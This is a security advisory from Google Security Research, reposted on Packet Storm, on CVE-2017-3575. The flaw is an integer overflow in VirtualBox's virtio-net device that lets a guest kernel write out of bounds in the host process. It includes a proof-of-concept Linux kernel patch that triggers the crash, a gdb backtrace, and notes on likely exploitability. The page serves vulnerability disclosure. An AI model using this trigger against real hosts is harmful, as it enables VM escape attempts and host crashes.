what you don't know can hurt you

VirtualBox Guest-To-Host Out-Of-Bounds Write

VirtualBox Guest-To-Host Out-Of-Bounds Write
Posted Apr 19, 2017
Authored by Jann Horn, Google Security Research

VirtualBox suffers from a guest-to-host out-of-bounds write via virtio-net.

tags | advisory
advisories | CVE-2017-3575
MD5 | 0748ee091b775b94daca046bf551edc0

VirtualBox Guest-To-Host Out-Of-Bounds Write

Change Mirror Download
 VirtualBox: guest-to-host out-of-bounds write via virtio-net 

CVE-2017-3575


This is a vulnerability that affects VirtualBox VMs that use a virtio
network adapter (which is a non-standard configuration). It permits
the guest kernel to write up to 4GB of controlled data out of bounds
in the trusted userland host process.

The bug is in the following code in
src/VBox/Devices/Network/DevVirtioNet.cpp (comments starting with
`//###` are by me):

while (vqueuePeek(&pThis->VPCI, pQueue, &elem))
{
unsigned int uOffset = 0;
if (elem.nOut < 2 || elem.aSegsOut[0].cb != uHdrLen)
{
[...]
}
else
{
unsigned int uSize = 0;
[...]
/* Compute total frame size. */
//### .cb members are attacker-controlled uint32_t.
//### addition is performed without overflow check.
for (unsigned int i = 1; i < elem.nOut; i++)
uSize += elem.aSegsOut[i].cb;
[...]
//### Assert() has no effect in release builds.
Assert(uSize <= VNET_MAX_FRAME_SIZE);
if (pThis->pDrv)
{
[...]
PPDMSCATTERGATHER pSgBuf;
//### undersized buffer is allocated here.
int rc = pThis->pDrv->pfnAllocBuf(pThis->pDrv, uSize, pGso, &pSgBuf);
if (RT_SUCCESS(rc))
{
Assert(pSgBuf->cSegs == 1);
/* Assemble a complete frame. */
for (unsigned int i = 1; i < elem.nOut; i++)
{
//### memory corruption happens here.
PDMDevHlpPhysRead(pThis->VPCI.CTX_SUFF(pDevIns), elem.aSegsOut[i].addr,
((uint8_t*)pSgBuf->aSegs[0].pvSeg) + uOffset,
elem.aSegsOut[i].cb);
uOffset += elem.aSegsOut[i].cb;
}
[...]
}
else
{
[...]
}
[...]
}
}
[...]
}

This code basically takes an IO vector (`elem.aSegsOut`) from the
guest, allocates a buffer (`pSgBuf`) that is large enough to hold the
concatenation of all elements of the IO vector, then copies data from
the IO vector into the newly allocated buffer. The issue here is that
the lengths from the IO vector are summed up without overflow
checking. If the total length of the IO vector is over 4GB, `uSize`
wraps around, causing the allocated buffer to be up to 4GB smaller
than the data that is copied into it.

The reason why the amount of data that is written out of bounds can be
less than 4GB is that uOffset is also only 32 bits wide, causing the
start offsets of the IO vector elements to wrap.

A VM does not need to have 4GB of memory to be able to trigger the bug.


To reproduce, create a VM with 2GB of RAM, configure the VM to use
virtio, then run a Linux system with the following kernel patch
applied inside the VM:

# git show --format=oneline HEAD
<a href="https://crrev.com/0722f57bfae9abbc673b9dbe495c7da2f64676ea" title="" class="" rel="nofollow">0722f57bfae9abbc673b9dbe495c7da2f64676ea</a> Merge tag 'drm-fixes-for-v4.10-final' of git://people.freedesktop.org/~airlied/linux
# git diff
diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c
index 409aeaa..7eca030 100644
--- a/drivers/virtio/virtio_ring.c
+++ b/drivers/virtio/virtio_ring.c
@@ -271,6 +271,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
unsigned int i, n, avail, descs_used, uninitialized_var(prev), err_idx;
int head;
bool indirect;
+ int attack_i;

START_USE(vq);

@@ -301,7 +302,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,

/* If the host supports indirect descriptor tables, and we have multiple
* buffers, then go indirect. FIXME: tune this threshold */
- if (vq->indirect && total_sg > 1 && vq->vq.num_free)
+ if (false)
desc = alloc_indirect(_vq, total_sg, gfp);
else
desc = NULL;
@@ -316,7 +317,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
indirect = false;
desc = vq->vring.desc;
i = head;
- descs_used = total_sg;
+ descs_used = total_sg + 4;
}

if (vq->vq.num_free < descs_used) {
@@ -346,6 +347,13 @@ static inline int virtqueue_add(struct virtqueue *_vq,
i = virtio16_to_cpu(_vq->vdev, desc[i].next);
}
}
+ for (attack_i = 0; attack_i < 4; attack_i++) {
+ desc[i].flags = cpu_to_virtio16(_vq->vdev, VRING_DESC_F_NEXT);
+ desc[i].addr = cpu_to_virtio64(_vq->vdev, 0x100000);
+ desc[i].len = cpu_to_virtio32(_vq->vdev, 0x40000000);
+ prev = i;
+ i = virtio16_to_cpu(_vq->vdev, desc[i].next);
+ }
for (; n < (out_sgs + in_sgs); n++) {
for (sg = sgs[n]; sg; sg = sg_next(sg)) {
dma_addr_t addr = vring_map_one_sg(vq, sg, DMA_FROM_DEVICE);


As soon as the VM tries to talk to the network, the VM will crash.
In a test with VirtualBox 5.1.14 <a href="https://crrev.com/112924" title="" class="" rel="nofollow">r112924</a>, a segfault occured with the
following backtrace:

(gdb) bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37
#1 0x00007f6896620cbe in PGMPhysRead () from /usr/lib/virtualbox/components/VBoxVMM.so
#2 0x00007f685416cb9d in ?? () from /usr/lib/virtualbox/VBoxDD.so
#3 0x00007f685416cfea in ?? () from /usr/lib/virtualbox/VBoxDD.so
#4 0x00007f689657434e in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#5 0x00007f6896576fc0 in TMR3TimerQueuesDo () from /usr/lib/virtualbox/components/VBoxVMM.so
#6 0x00007f689657fa99 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#7 0x00007f6896580a63 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#8 0x00007f689650cd09 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#9 0x00007f6896580cd4 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#10 0x00007f68a5a6981c in ?? () from /usr/lib/virtualbox/VBoxRT.so
#11 0x00007f68a5aedc7c in ?? () from /usr/lib/virtualbox/VBoxRT.so
#12 0x00007f68a6397184 in start_thread (arg=0x7f6875af6700) at pthread_create.c:312
#13 0x00007f68a5ec037d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111


Regarding exploitability: I have not investigated exploitability in
detail; however, I believe that this issue is probably exploitable.
For example, if the network interface is a NAT interface,
drvNATNetworkUp_AllocBuf() is used to allocate the buffer, which in
the pGso!=NULL case will allocate an arbitrarily-sized buffer with
RTMemAlloc(), which should allow arbitrarily-sized allocations,
permitting an out-of-bounds write behind a big heap allocation with
fully controlled length and data.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.



Found by: jannh

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close